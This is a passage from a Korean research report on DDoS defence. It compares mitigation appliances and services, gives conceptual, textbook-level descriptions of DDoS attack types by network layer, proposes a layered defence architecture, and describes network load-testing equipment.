33 장점 - IPS 시그니처를포함함 - 다중위험분석 - 알려지지않은공격패턴인식 - ASIO에의한고속매칭 - DDoS 탐지 logic의고속화 /7600샤시에모듈형태로설치 - ASIO에의한고속매칭 - 다양한탐지방법 단점 - 시그니처배포포전어려움존재 - IPS 시그니처없음 - CPU과다사용으로 Delay 발생 - 세션공격에취약 - 라운터, 스위치에의존적인구성 - L7공격방어시시스템자원과다사용 - 성능부족 - 신규공격대응능력부족 나. 고려사항 DDoS 차단장비설치후탐지모드에서실제차단모드를변경하기위 해서는트래픽및로그분석후해당값을적용해야한다. ( 그림 2-8) DDoS 전용장비차단모드설정시프로세스 o 트래픽추이분석시도출되어야값 - Total BPS, PPS 임계치 - SYN PPS 임계치 - TCP BPS 임계치

34 - UDP PPS, BPS 임계치 - ICMP PPS, BPS 임계치 o 로그분석시확인사항 - 공격탐지구간 - 공격탐지발생시점 - 공격발생빈도수 - 공격자 / 대상자의정보파악 - 공격자 / 대상자의상관관계 - Traffic 변화 5. QoS 차단 (Limit) 중심의대응이아닌가용성 (Guaranteed Capacity) 중심의선택적대역폭조장방식을사용하여오탐및과탐으로인한가용성저하를최소화한다. 정책적용이필요한장비로 (Policy Enforcer) 스스로 DDoS 트래픽에대한구별이불가능하여 DDoS 공격을탐지할수있는타장비와연동이필요하다. IP별, 서비스별동적자원할당을통한피해의전파격리및정책기반의가용성을부여할수있다. 가. 장비명 PacketLogic, NetEnforcer 등 나. 주요기능 o 평판기반및정책기반의트래픽관리 o 각소스 IP 별트래픽에대해우선순위를정하여최소대역폭보장 o 접속요청 ( 소스 )IP 별트래픽대역폭통제및보호대상서버 ( 목적지 )

35 IP 별트래픽대역폭통제 o 원격의 CLI 기반의명령어를통해트래픽처리관련정책설정 6. L7 Switch (Application Delivery) 네트워크기반이아닌어플리케이션수준의전용대응장비로 TCP 연결병합, Response 조작등다양한기법을통해공격부하를경감하고지능적대응을가능하게한다. 어플리케이션수준의대응전문장비로기타 DDoS에대응하기위해서는네트워크수준의대응장비와함께사용되어야하며일반적으로높은가격대를이루고있다. TCP 세션병합, 브라우저표준준수판단. 콘텐츠캐싱등어플리케이션수준의대응이가능하다. 가. 장비명 F5 BIG-IP, NetScaler 등 나. 주요기능 o 연결형 DDoS공격에대한차단 o 웹사이트접속요청에대한허위요청식별 o 판별된 IP정보중앙통제시스템에전달 o 웹취약점공격탐지및차단하기위해사전정의된웹취약점공격을식별하고차단 o 웹콘텐츠캐싱및압축전송기능을통해웹서버의부하경감 o 웹사이트에제공하는 SSL 트래픽은해당웹사이트의 SSL인증서를제공받아암보고화기능을제공 o 웹사이트접속요청또는응용계층트래픽에대한실시간탐지 / 차단현황을등을보고서로생성

36 제 4 절 DDoS 대응서비스시장조사 1. 개요 가. ISP 급망서비스 기반망보호를위한서비스로 Destination Routing을통해유입트래픽중공격지로향하는트래픽을분리하여처리한다. 고정형망수준의서비스를제공하고망사업자가관리하며이상트래픽탐지장치를사용한다. 나. 대규모호스팅급서비스 다수의회원사혹은다수의호스팅사이트를운영하는사업자가자신의운영네트워크내에존재하는사이트에대한 DDoS 공격에대응하기위한서비스로 Destination Routing을통해유입트래픽중공격지로향하는트래픽을분리하여처리한다. 고정형사이트수준의대응서비스를제공하고대형호스팅, ISAC( 금융 ) 이관리하며이상트래픽탐지장치를사용한다. 다. 소규모호스팅급서비스 소규모호스팅사업자가자신의운영네트워크에 DDoS 전용장비를설치하고이를통해 DDoS 공격트래픽을처리한다. 고정형도메인수준의대응서비스를제공하고, 소규모호스팅업체가관리하며 DDoS 전용장비 (L2 Bridge) 를사용한다. 라. CDN

37 대규모의 CDN(Contents Delivery Network) 을구성하여공격발생시 GSLB를통해어플리케이션연계네트워크를구성하여 DDoS 공격으로발생하는부하를 L7 단에서분산처리한다. 주문형 (On-Demand), 즉장소에관계없는대응서비스를제공하고대규모 MSS 업체가관리하며 L7 Switch, Reverse Proxy Server를사용한다. 2. 유섹 ( 국내보안솔루션업체 ) 의무정지성 DDoS 대응서비스 [5] 보안솔루션전문업체인유섹의 DDoS 대응서비스인 Smart 관제시스템 은장비에의존하는서비스가아니며필요시화이트리스트접근방법을 적용한다. ( 그림 2-9) 공격시보안존으로의라우팅전환 [5] 서비스를우회하는여러가지방법이있다. 이를전환에소요되는속 도에따라분류할수있다. 우선통신사에서주로사용하는방법이 BGP

38 라우팅방법이다. 공격등의상황이발생하면 BGP를사용하여공격완화망으로트래픽을전환한다. 이는네트워크장비들이사전에 BGP 조인이되어있어야한다. 가장시간이많이걸리는것이 DNS를변경하는것이다. Smart DNS 는 TTL 값을작게조정이되어있어네임서버들을바로업데이트가되나 PC 브라우즈캐싱이브라우저의버전에따라지연되는경우가발생한다. 이런경우에효과적으로대응하기위해서안내서버를별도로조치하는방법이있다. 내부라우팅은평상시에동일 IDC 에있는경우와외부로있는경우는구분하여동일 IDC에있는경우는 DDoS 완화망아래에서비스서버를배치하고있다가공격발생시바로 DMZ(DDoS Mitigation Zone) 으로경로를타게하도록캐싱이나포워딩처리하고내부라우팅을변경한다. 서버가다른 IDC에있는경우캐싱처리하여평시에운영하다공격을관제시스템에서감지하면바로내부라우팅을 DMZ 구간으로즉각전환한다. 대용량공격이들어오면제일먼저통신사간이연동망에서먼저차단하게된다. 그러면실제접속자의 60% 이상이접속이차단되므로정상적인서비스가불가능하게된다. 이는한통신사에서엄청나게많은대역폭을갖는것이연동망에서차단되는것을막는것은아무런효과가없다고봐야한다. 통신사마다약간의차이가있지만연동망은특정목적지로접속에서통상 10% 를넘어가면특정목적지로넘어가는모든트래픽을차단하게된다. 이를방어하기위해서대형통신사에 DMZ (DDoS Mitigation Zone) 을구축하고 GLB DNS를사용하여접속자는각대형통신사에확보된 DMZ로분리되어전송되며 DMZ을지나가면서공격트래픽은차단이된다. 이경우연동망을타고넘어오는트래픽은거의 100% 공격트래픽 ( 특히, IP를설정하여설정된공격 ) 이라고해도과언은아니다. 이경우만약연동망에서는차단이되겠지만정상사용자들은연동망을타지않기때문에연동망이차단하더라도정상사용자는접속에전혀문제가생기지않는다. 이로서무정시성을확보할수있다

39 ( 그림 2-10) 주요 APP 공인 IP 에대한공격대응 [5] DNS 전환지연으로인하여서비스의무정지성이떨어질수있다. 이는정상적인사용자가 PC의 DNS 캐싱시간으로인하여지연되는경우가발생한다. 특히 DNS 서버를운영하는데있어서 DDoS의경우 TTL 값을최소화하여야하나 DNS 서버마다그 TTL 값을많이잡은경우가해당된다. 이를방어하기위해서는 DNS 서버를이관하는것을권고한다. Smart DNS는 DDoS 방어용으로만들어져있으므로가장짧은 TTL 값을설정한다. 그러나 DNS를참조하는 PC가 DNS 서버를참조할때가장먼저 PC의캐싱을제일먼저참조하므로 PC에캐싱이남아있는경우정상접속자가전환하고도트래픽이우회경로로전환되지않고우회전인원래서버로전송이된다. 따라서이를처리하기위해서는평상시에접속정보를확보해서 white list를만들고우회경로전환이되는경우접속제어장치는 white list만수용하고다른 IP 는모두차단한다. 그리고 white list는안내서버로트래픽을전송한다. 안내서버는내부에구축되거나또는외부에구축되어도된다. 우회경로의프록시 IP를비상도메인 IP로미리설정되어있으며이를안내하는안내페이지를 DNS가업데이트되지않은정상사용자 (white list) 에게전송하여예비도메인으

40 로접속하도록하여우회경로로유도한다. ( 그림 2-11) Slow / Zero-day 공격방어 [5] 향후발생하는공격은기존의공격방법이아닌기존의방어시스템들을무력화하는슬로우공격이나 Zero-day 공격이많아질것은자명하다. 슬로우공격에서나타나는현상은접속 IP가기하급수적으로폭발하는현상이발생된다 ( 그림 2-10). 슬로우공격을하기위해서는당연히접속 IP 가많아야한다. 이경우접속IP가폭주하는시간대를잡아내서그전시간에접속한 IP ( 디폴트 3시간전 ) 리스트를뽑아화이트리스트에업데이트를한다. 블랙리스트는지속적으로업데이트되고있고남은것은화이트도아니고블랙도아닌 IP( 그레이리스트 ) 가남는다. 이는슬로우공격이시작된이후에새로접속하는 IP 들이다이에는정상접속자도일부포함되어있다. ( 통계적으로 1.4~2% 정도가된다고함 ) 이런접속자를정상적인처리를하는것이관건이다. 즉그레이리스트에는인증서버로전송하게된다. 인증서버는그래픽퍼즐을전송한다. 그러면정상사용자는그래픽퍼즐의요구에응답하고좀비의경우는응답할수없게된다. 응답하는 IP는화이트리스트로응답하지않는 IP는블랙리스트로업데이트한다

41 제 5 절 DDoS 공격유형및기법분석 국내및국외 DDoS 공격유형의분류는부정확한정보가만연되고있어방어자가효과적인 DDoS 공격에대응을하지못하고있다. 제 5절에서다루는 DDoS 공격유형및기법분석은현재 DDoS 시장및인터넷에서퍼지고있는공격유형을나열하고 제3장 DDoS 공격의체계적인기준수립 에서 DDoS 공격에대한명확한이해를바탕으로알려지지않은공격에대응할수있는방어중심으로대응체계를제시한다. 1. OSI 3 계층의취약점을이용한 DDoS 공격의분류 가. ICMP/IGMP Flooding o Broadcast Flooding 스머프공격이라고도불리며, source IP가공격타겟의 IP로위조된 ICMP PING메시지를다른네트워크에 broadcast하게되면전달받은모든호스트의응답메시지가공격타겟에게로집중되어서비스를할수없게된다. o ICMP Unreachable Storm 공격자는연속적으로 ICMP 의 port-unreachable frame 을보내서시스 템의성능을저하시키거나마비시킨다. o ICMP Ping of Death 공격할시스템에 Fragmented Packet 과비정상적인 OOB (Out of

42 Band) 를함께대량으로전송하여 System 자원을무의미하게소모시키며, 심할경우대상시스템을 Crash시킬수도있다. 이로인해내부네트워크자원에심각한 Collision을임의로일으켜서내부자원의소모율을높여서네트워크성능을저하시킬수있다. o ICMP Smurf 공격자가 ICMP Packet의 Source IP Address 에공격대상서버의 IP Address를 Setting 하고임의의 Broadcast Address로 ICMP ECHO Packet 을발송하면이를수신한경유지서버는동시에대상서버에응답을하게함으로써 Network Traffic 을기하급수적으로증가시키고, 서버에과부하를발생시킨다. (Broadcast Flooding 과동일함 ) o Ping Flooding 대상 system에 ICMP packet을계속해서보내서, 대상 system이 Request 에응답하느라다른일을하지못하도록하는공격이며, 해당시스템은끊임없는응답에내부 Service queue counter 자원의고갈로서비스불능상태에빠진다. 동시에 Network에 Over load를발생시키는치명적인공격이될수도있다. o Ping Sweep 공격자 (Client) 가대상 Network에어떤서버가존재하는지를파악하기위해서 ICMP 를이용하여대상 Network의 Broadcast IP 를입력한다음응답되는패킷을분석하여정보를파악할수있는기법이다. 또한대상 Network전체에 Overload를발생시킬목적으로사용한다. o Ping of Death

43 보통의 ping(56bytes) 메시지가아닌 IP 패킷의최대사이즈인 65,535bytes 보다크게만들어진패킷을보냄을반복함으로써목표대상을 다운되게만든다. 나. IP Flooding o IP Fragment Packet Flooding Tear Drop 과동일한공격형태이며명칭만다르게불린다. o Multicast Flooding Switch 의 Mac Table 에존재하지않는목적지 mac address 학습을위 해 broadcast 를발생시킨다. 2. OSI 4 계층의취약점을이용한 DDoS 공격의분류 가. UDP Traffic Flooding o DNS UDP/TCP Flooding DNS 에많은양의요청을한꺼번에발생시킴으로인해, DNS 요청에대 한응답을할수없게한다. o DNS Query Flooding 공격대상서버 (DNS 서버 ) 로대량의변조된 Query 를전송하여 DNS 서비스의정상운용을불가능하게한다

44 o UDP/TCP Port Flooding TCP 혹은 UDP 의특정 port 에많은양의패킷을보내어이 port 에대 한 DoS 공격을하고, 스위치 / 라우터전체에영향을미칠수있다. o DNS Reply Flooding 공격자가 DDoS 의최종타겟이될 IP 주소를 DNS 쿼리패킷의 source IP 로변조함. 수많은 DNS 쿼리에대한응답이타겟의 IP 주소로가게되 므로타겟은서비스불능상태에빠질수있다. o UDP LoopBack 공격자가 UDP의 Source와 Destination 포트를 7(Echo), 17(Quote of the day), 19(Chargen) 로동일하게조작한다음 Packet를발송하면서로간에무한통신을한다는 Protocol의취약점을이용한 DoS 공격으로이로인하여 Server 및 Network 에 Overload가발생하고, 정상적인서비스가마비되는현상이발생할수있다. o Snork Attack 공격자가대상서버 (MS Windows 계열 ) 의 Resource를소진시키기위해서 UDP의 destination 포트를 135(Microsoft Location Service) 번으로 source 포트를 7(Echo), 19(Chargen), 135 로하여 Packet를보내면서로가무한통신을한다는취약점을이용하여공격하는방법이다. 나. UDP Traffic Flooding

45 o TCP SYN Flooding 클라이언트가서버에접속을시도할때 TCP헤더에 SYN Flag을보내면, 서버는이에대한답변으로 SYN/ACK를보내고다시클라이언트의 ACK를받는다는점을이용하는것으로, 공격자가임의로자신의 IP Address를속여 ( 응답할수없는 IP Address) 이를다량서버에보내면서버는클라이언트에 SYN/ACK를보내고, 이에대한클라이언트의응답 ACK 를받기위한대기상태에빠짐으로써공격이이루어진다. o TCP NULL Flooding 클라이언트가서버에 TCP Header의 Flags를 NULL(0x00) 으로 Setting 하여대량의 Packet을보내면, 서버는이를처리하기위해서대부분의자원 (System Resource) 을소모하게되고, 정상적인서비스를하지못하는현상이발생한다. o TCP FIN Flooding 클라이언트가서버에 TCP Header의 Flags를 FIN(0x01) 으로 Setting하여대량의 Packet을보내면, 서버는이를처리하기위해서대부분의자원 (System Resource) 을소모하게되고, 정상적인서비스를하지못하는현상이발생한다 o TCP ACK Flooding 클라이언트가서버에 TCP Header 의 Flags 를 ACK(0x10) 으로 Setting 하 여대량의 Packet 을보내면, 서버는이를처리하기위해서대부분의자

46 원 (System Resource) 을소모하게되고, 정상적인서비스를하지못하는 현상이발생한다 o TCP PUSH Flooding 클라이언트가서버에 TCP Header의 Flags를 PUSH(0x08) 으로 Setting 하여대량의 Packet을보내면, 서버는이를처리하기위해서대부분의자원 (System Resource) 을소모하게되고, 정상적인서비스를하지못하는현상이발생한다 o TCP RESET Flooding 클라이언트가서버에 TCP Header의 Flags를 RESET(0x04) 으로 Setting 하여대량의 Packet을보내면, 서버는이를처리하기위해서대부분의자원 (System Resource) 을소모하게되고, 정상적인서비스를하지못하는현상이발생한다 o TCP URG Flooding 클라이언트가서버에 TCP Header의 Flags를 URG(0x20) 으로 Setting하여대량의 Packet을보내면, 서버는이를처리하기위해서대부분의자원 (System Resource) 을소모하게되고, 정상적인서비스를하지못하는현상이발생한다 o TCP XMAS Flooding 클라이언트가서버에 TCP Header 의 Flags 를 FIN(0x01), URG(0x20), PUSH(0x08), RST(0x04) 등으로 Setting 하여, 대량의 Packet 을보내면, 서 버는이를처리하기위해서대부분의자원 (System Re-source) 을소모하

47 게되고, 정상적인서비스를하지못하는현상이발생한다 o SYN - ACK Flooding 송신자를공격대상서버주소로설정한 TCP SYN 패킷을전송하여해 당패킷을받은수신자는 TCP ACK 패킷을공격대상서버로보내게되 고, 서버는이패킷에대응함으로써시스템자원이고갈된다. o Land Attack 공격자가임의로자신의 IP Address와 Port를대상서버의 IP Address와 Port와동일하게하여서버에접속함으로서서버의실행속도가느려지거나, 마비되게한다. o WinNuke TCP가 OOB-out of band 데이터를처리할때사용하는 URG(Urgent) 신호를 Windows의 139포트 (NetBios over TCP) 에보냄으로써시스템이다운되거나 Windows시스템서비스중의하나인 HDD공유기능을마비시킨다. 3. OSI 7 계층의취약점을이용한 DDoS 공격의분류 o Valid HTTP GET Flooding 정상적인 HTTP GET 요청을대량으로공격대상서버에전송하여다 른정상적인 HTTP GET 요청을정상적으로처리할수없게방해한다. o Invalid HTTP GET Flooding

48 비정상적인 HTTP GET 요청을대량으로공격대상서버에전송하여 다른정상적인 HTTP GET 요청을정상적으로처리할수없게방해한다. o Get with Cache-Control HTTP Cache-Control 헤더는 HTTP 프로토콜규약상서버와클라이언트의 Request/Reponse 통신중준수하여야하는지시어로정의되어있으며캐시화된 HTTP 객체에대한외부간섭을방지하기위해사용된다. 일반적인웹서버배치에있어캐시서버는빈번하게호출되는웹객체의캐시화를통해클라이언트의요청이원서버에도달하기전캐시서버에서처리되도록하는수평적이부하분산을위해사용되는데이는 DDoS 공격하에효과적인방어기재로동작할수있다. 따라서공격자는공격요청이중간구간 (Intermediary zone) 에위치한캐시서버를지나공격대상서버에직접전달되도록하기위해 Cache-Control 지시어를사용한다. 이러한경우공격 HTTP 헤더에포함된 Cache-Control 요청을준수하도록설정된캐시서버는해당요청을처리하지않고직접목적서버에전달한다. 그리고일반적으로 Cache-control 은웹서버측에서클라이언트의브라우저에캐시기능의제한적용을요구하는경우가대부분이다. o 저대역폭 HTTP DoS 공격대상서버의연결제한을모두소진시키도록적은양의대역폭만 을사용하여공격대상서버에연결시도후해당연결이영구히지속되 게만든다. o slowloris 대상서버에접속하여여러개의 HTTP 세션을열고가능한길게세션 을유지하여웹사이트를다운시킨다

49 o Fragmented HTTP Header Attack 대상웹서버에유효하지만과중한단편화된 HTTP request 를보냄으 로서버및 IDS 에부하를준다. o Telnet Flooding TCP 프로토콜을이용하여클라이언트가서버의 Telnet port에 ^D문자를연속적으로보내어서버의부하를발생시켜정상적인서비스를하지못하도록한다. 이는 Solaris의특정 O/S 에치명적인영향을미칠수있으면, 대부분의서버에서 Over Load가발생하고있다. o FTP PASV DoS FTP 서비스에접속하여서버가응답하기전에대량의 FTP PASV 명령 어를연속적으로보내어 FTP Server 를 Down 시키거나, 부하를발생시 켜정상적인서비스를하지못하도록한다. 4. 기타네트워크논리오류를이용한공격 o Tear Drop Attack TCP/IP 통신에서보내는쪽에서는 IP 데이타그램을쪼개고받는쪽에서는이를합치는 ( 프레그멘테이션과리어셈블리 ) 아주정상적으로일어나야할과정을공격자가임의적으로과도하게발생시키거나, 꼬이게함으로써대상컴퓨터가다운되게하는 DoS공격의일종이다. 또한이공격은어떤 OS의 IP fragment 재조합코드안에버그를일으키는 invalid fragmented IP 패킷을보낸다. 이취약성은공격자가목적시스템을손상시켜서비스손실을유발시키고, 서버를다운시킬수도있다. Open

50 Tear공격이일반적인 Tear Drop과다른점은 Packet를보냄에있어서 IP가 fragment 되어있다는 Signal만보내고실질적인 Data는보내지않는것이다. 이는서버에게 Tear Drop보다더많은부하를발생시킬수있으며, 이로인하여정상적인서비스를하지못하는경우가발생한다. o Bonk/Boink/New Teardrop Teardrop 공격과유사하게조작된두개의패킷조각을이용하는데 teardrop 공격이한번의패킷조각쌍을이용하여공격하는반면, 이수법에서는패킷조각쌍을반복적으로전송하는방법을이용한다. UDP 패킷을구성하는두개의패킷조각들중두번째패킷조각의오프셋을이전패킷조각의 UDP 헤더위치로설정하여이패킷조각의내용이이전패킷조각의 UDP 헤더의내용을덮어쓰게함으로써윈도우시스템이불완전한 UDP 패킷을생성하도록유도한다. 이때윈도우시스템은각각의불완전한 UDP 패킷에대해커널메모리를할당하기때문에충분한숫자의패킷조각쌍을전송하는경우, 윈도우시스템의속도가현저히저하되거나시스템이중단을유발시킨다. o ICMP, TCP, UDP, IP Checksum Error 공격자는임의적으로 ICMP 의비정상적인 Packet 을대상서버에보냄 으로써서버에과부하를발생시키고이로인해서서버의정상적인서비 스를방해하는 DoS 공격이다

51 제 3 장 DDoS 공격의체계적인기준수립 제 1 절현 DDoS 공격대응체계의문제점 현존하는 DDoS 공격기법및유형을나열하면 ( 그림 3-1) 과같다. 알려진공격중심의방어체계를갖춘다면알려지지않은공격형태가나타났을때효과적인방어가이루어지지않는다. 따라서알려진공격에대한공격중심의분류방법을알려지지않은공격에대응할수있는방어중심으로분류가필요하다. 또한이를통해가용성위협에대한측정방법을제시하고이러한공격에대한대응지점선정을통해실시간대응이가능한 DDoS 대응아키텍처가필요하다. ( 그림 3-1) 알려진 DDoS 공격유형의분류

52 제 2 절 Failure Point 중심의 DDoS 대응체계 1. 가용성침해정도에따른단계별대응정책수립 가용성침해정도에따라단계별 DDoS 대응체계가필요하다. 가용성침해정도가극히미비했을경우관리자개입없이장비만으로대응이가능하나가용성침해가커질수록최소한의관리자개입및정책적대응이필요하다. ( 그림 3-2) 가용성침해정도에따른대응정도 2. DDoS 공격의 Failure Point 중심의체계수립 기존공격유형의분류는현재발생하는공격분류에적합하나차후발생할수있는새로운공격에대해방어가불가능하거나대응을위해많은전제조건 ( 시간, 비용등 ) 이발생한다. 따라서현재나열된공격과차후발생할수있는공격에대해대응지점을매핑하고각시스템단계별정책을수립해야한다. 특히플러딩공격발생시공격의형태에관계없이외부망과내부망의접점인경계라우터에서병목현상이발생하므로. 이러한병목현상발생이후내부구간에서의차단은아무런효과를거둘

53 수없으며따라서반드시병목발생이전구간에서서의대응이필요하다. ( 그림 3-3) 공형유형에따른대응구간의매핑 특히시스템에대한공격은 OS 자체에대한공격과어플리케이션에대한공격으로분류된다. OS 자체에대한공격은 SYN Flooding, Get Flooding과같이시스템자원고갈을유도하여정상적인서비스를제공하지못하도록하는공격방식이며, 어플리케이션에대한공격은어플리케이션의특정취약점, 데이터입출력이과부하유발등을통한공격으로웹서버자체에대한공격과데이터베이스등과같은부속자치에대한공격이다. 이러한공격들역시병목발생구간에대한사전대응방안이모색되어야해당구간의취약점을이용한새로운 DDoS 공격발생시에도쉽게방어할수있다. 3. DDoS 공격의다단계대응체계수립 향후발생할수있는공격에대비하기위해서는방어자중심의대응 체계수립이필요하다. ( 그림 3-4) 는다단계방어정책 (Defense-in-Depth)

54 의근본이되는시스템별방어전략이다. ( 그림 3-4) 시스템단계별방어전략 가. ISP 라우터 Rate Limit 설정으로공격IP 트래픽을 Null0 Routing 처리하여 ICMP, UDP 플러딩공격을방어한다. UDP, ICMP 플러딩공격은대역폭소진공격으로회선의대역폭중가, 동일네트워크를사용하는모든서비스에장애가발생하기때문에 ICMP 및 UDP 사용량에근거하여일정범위를넘어서는패킷발생시인터넷통신병목구간인경계라우터에도달하기전에 ISP 라우터에서 Null0 Routing 처리해야한다. 동적 Bandwidth 확장계획을수립하면 DDoS 공격발생시유연하게대처할수있으며이는 ISP와연락체계를마련및사전협의에따라 DDoS 공격발생시동적으로대역폭을확장할수있다. 또한, 2개이상의 ISP 회선으로구성되어있다면 DDoS 공격발생시경로조절등을통해보다체계적인대응이가능하다. 나. 경계라우터

55 경계라우터에서는단순한논리공격인 Tear Drop, Bonk, Land Attack 등의공격을방어한다. 논리적오류를이용한공격으로피해서버의오작동을유발하는것이공격의특징이다. 이러한공격은 Bogon IP 리스트또는 RFIC 1918 차단설정으로위조패킷을필터링할수있으며비정상패킷을라우터에서받아들이지않도록설정한다. 다단계방어전략의일환으로패킷중인터넷에라우팅되지않는주소군을차단하고이러한패킷발생시이를소스주소를위변조공격으로판단하며이를차단한다. 특정지역에서들어오는공격인경우, 해당지역의 IP대역을 Null0 Routing 구성한다. 이는 ACL에비해서구성이손쉽고부하가적으므로쉽게사용이가능하다. 다. DDoS 전용장비 DDoS 차단장비내시스템방어기능을활용하여구별가능한시그니처가있는공격및과다 HTTP 공격을차단하고트래픽현황을모니터링한다. DDoS 차단장비설치시탐지모드로 1개월이상로그를수집후로그분석과공격유형분석을통해정상사용자와공격여부를판단하고트래픽분석을통해프로토콜별 BBS, PPS 임계치값을도출해야보다정확한방어가가능하다. DDoS 차단장비설치후트래픽및로그분석없이 DDoS 장비의설치만으로는체계적이 DDoS 대응이불가능하다. 라. QoS IP 접속평판을통해 Loyalty가있는정상사용자의가용성을보장할수있다. 장비위주의방어는시그니처가존재하지않는공격발생시정상사용자와공격자를구별하지못하여정상사용자의가용성을침해할수있다. 사용자 IP 접속평판정보를적용한방어는시그니처가존재하지않는공격에대하여평상시정상사용자의접속평판을관리하며정상사용자의가용성을일정수준이상보장한다. 장비의설정강화및보안

56 장비의시그니처정보를이용해 DDoS 공격을차단하는방식과 IP 접속평판정보를적용하는방식을적용하여기존체계의한계점을극복할수있다. QoS 정책을적용하기전에웹서버의가용성을사전측정하는것은필수이며본연구는가용성을측정하는방안을제시한다. 특히최대세션연결수를테스트하고이때발생하는 HTTP 대역폭을측정하여세션연결수와 HTTP 대역폭의상관관계도출은세션연결형공격을 QoS 정책적용을통해쉽게대응할수있다. 마. 방화벽 방화벽은 TCP 프로토콜상태인식검사기능을이용하여비연결성 TCP Flooding 공격에대응한다. 비연결성 TCP Flooding 공격은 UDP 및 ICMP 공격과다르게상태정보를인지하지못하는라우터장비등에서방어가불가능하므로외부경계구간을넘어방화벽앞단까지도달하기때문에방화벽의 TCP 프로토콜상태인식검사기능을사용하여차단한다. 참고로비정상패킷의대응은경계라우터, DDoS 전용장비, 방화벽에서대응이가능하다. 바. 웹서버 먼저 LVM, Reverse Proxy( 웹가속기 ) 의추가설치로웹서버의수직적용량을증가하여웹서버의부하를분산할수있다. 또한 SYN Cookie 적용및, DNS A 레코드변경정책은실제 DDoS 공격발생시빠른대응이가능하게하여사용자의가용성피해를최소화한다

57 제 4 장계측기활용분석및대책연구 제 1 절계측기시장조사 네트워크시스템구축시시스템대역폭측정및기능시험을위해사용되고있는계측기시장을조사하고다양한측정방식을연구하여 DDoS 공격에대한한계용량을정확히측정할수있는방안을도출한다. 계측기를이용한한계용량측정은네트워크시스템이필요한성능수준을제공하는지, 전체네트워크에필요한성능수준과최종사용자가기대하는서비스품질을모두제공하는지여부를알수있다. 1. Avalanche2500 [1] 실제의네트워크조건과동일한시뮬레이션을제공함으로써, 사이트의 Points of Failure, Modes of Performance Degradation, robustness under Critical Load, Potential Performance Bottleneck 등의정보를제공하여, Router, Firewall, SLB(Server Load Balancer) Web, Application, Database Server 등의성능테스트장비이다

58 ( 그림 4-1) Avalanche 를이용한 Real Server 및 Network 테스트 [1] ( 그림 4-2) Avalanche 와 Reflector 를사용한 DUT 테스트 [1] Avalanche는 Client를에뮬레이션을하여 Real Server의성능을측정하는장비로서 Server를에뮬레이션을하는 Reflector와함께사용하여, Real Server 외에 Router, Switch, Server Road Balancer, Web accelerator, IPS, IDS, Firewall 와같은 DUT 및 SUT 의성능및보안테스트가가능하다. 가. Avalanche 의성능및기능

59 [ 표 4-1] 성능및기능 성능및기능 1 동시 200만사용자 Simulation을통한성능테스트환경제공 2 50,000 Requests/sec ( HTTP 1.0 with no Persistence) 3 4,000 HTTPS Requests/sec 4 5,500 SSL connections/sec 5 In-line DDoS : 하나의포트에서일반트래픽과 DDoS 트래픽을동시발생 ) IP Fragmentation : MTU(Maximum Transfer Unit) 을정하여, 6 그보다큰패킷은 분할하여, Sequence Number 를부여하여 전송 7 VLAN Tagging 8 MAC Masquerading : 포트당여러개의 MAC 주소 9 HTTP POSTs and HEADs 지원및 HTTP 1.0과 1.1 지원 10 Passive FTP, 스트리밍프로토콜 RTSP/RTP(QuickTime과 Real), 메일프로토콜 POP3, SMTP 지원 11 Gratuitous Address Resolution (ARPs) 지원 : 테스트시작시인접장비에 ARP cache 업데이트 12 Proxy recorder를사용하여, URL List Recording 하여, 복잡한 URL Lists를신속하게생성 나. 지원프로토콜 [ 표 4-2] 지원프로토콜 1 HTTP 1.0/1.1 7 Secure HTTP (SSL) 2 FTP 8 RTP/RTSP 3 Microsoft Media Server (MMS) 9 SIP 4 POP3 Mail Protocol 10 SMTP Mail Protocol

60 5 Telnet Protocol 11 DNS Protocol 6 IPv6 12 IPsec 다. Avalanche 구성 [ 표 4-3] Avalanche 구성 시스템 Avalanche 2500 Fiber 1G Interface Card (LC type) C o p p e r 10/100/1000 Interface Card 그외프로토콜및기능별옵션및라이선스 구성 Chassis로서 Model B 와 Model C 가있으며, 둘은 capacity의기능은동일하며, 단지 capacity 의차이가있다. Model C 가최고의성능을제공 ( 예, Open connection test의경우 model B = 1,100,000 model C = 2,000,000 ) 인터페이스카드로서하나의카드에 2개의 port 제공. 하나의섀시에두개의카드설치가능인터페이스카드로서하나의카드에 2개의 port 제공. 하나의섀시에두개의카드설치가능프로토콜및기능에대한다양한옵션이제공되며, 각옵션들에대한라이선스가제공 라. 소프트웨어요구사항 [ 표 4-4] 소프트웨어요구사항 시스템 운용시스템 Windows 2000 요구사항 Windows XP - Professional Edition 권장

61 Third-party Software Microsoft Excel : 결과가 CSV 파일로저장되며, 분석 시 Excel 이필요 Internet Explorer 6.0, Service Pack 1 이상 : 결과파일 을 HTML 형식으로변환및확인시필요 Adobe Acrobat Reader 4.0 또는그이상 : 결과파일을 PDF 파일로변환및확인시필요 Java Virtual Machine (JVM) 또는그이상 2. Reflector [2] 가. Reflector 의성능및기능 [ 표 4-5] 성능및기능 성능및기능 1 Reflector 는단독으로사용할수없으며, 테스트사용시 Avalanche 2500 또는동일제품군이필요 2 동일모델의경우 Avalanche 2500 장비에서발생하는모든트래픽과성능에대하여모두수용 여개의 Server 시뮬레이션지원 4 50,000 Requests/sec ( HTTP 1.0 with no Persistence) 수용가능 5 4,000 HTTPS Requests/sec 수용 6 5,500 SSL connections/sec 수용 7 In-line DDoS : 하나의포트에서일반트래픽과 DDoS 트래픽을동시발생 ) IP Fragmentation : MTU(Maximum Transfer Unit) 을정하여, 8 그보다큰패킷은 분할하여, Sequence Number 를부여하여 전송 9 VLAN Tagging 10 MAC Masquerading : 포트당여러개의 MAC 주소

62 11 HTTP 1.0과 1.1 지원 12 Passive FTP, 스트리밍프로토콜 RTSP/RTP(QuickTime과 Real), 메일프로토콜 POP3, SMTP 지원 13 Gratuitous Address Resolution (ARPs) 지원 : 테스트시작시인접장비에 ARP cache 업데이트 나. 지원프로토콜 [ 표 4-6] 지원프로토콜 1 HTTP 1.0/1.1 7 Secure HTTP (SSL) 2 FTP 8 RTP/RTSP 3 Microsoft Media Server (MMS) 9 SIP 4 POP3 Mail Protocol 10 SMTP Mail Protocol 5 Telnet Protocol 11 DNS Protocol 6 IPv6 12 IPsec 다. Reflector 구성 [ 표 4-7] Reflector 구성 시스템 요구사항 Chassis로서 Model B 와 Model C 가있으며, 둘은 capacity의기능은동일하며, 단지 capacity Reflector 2500 의차이. Model C 가최고의성능을제공 ( 예, Open connection test의경우 model B = 1,100,000 model C = 2,000,000 ) Fiber 1G Interface Card (LC type) 인터페이스카드로서하나의카드에 2개의 port 제공. 하나의섀시에두개의카드설치가능 C o p p e r 인터페이스카드로서하나의카드에 2개의 port

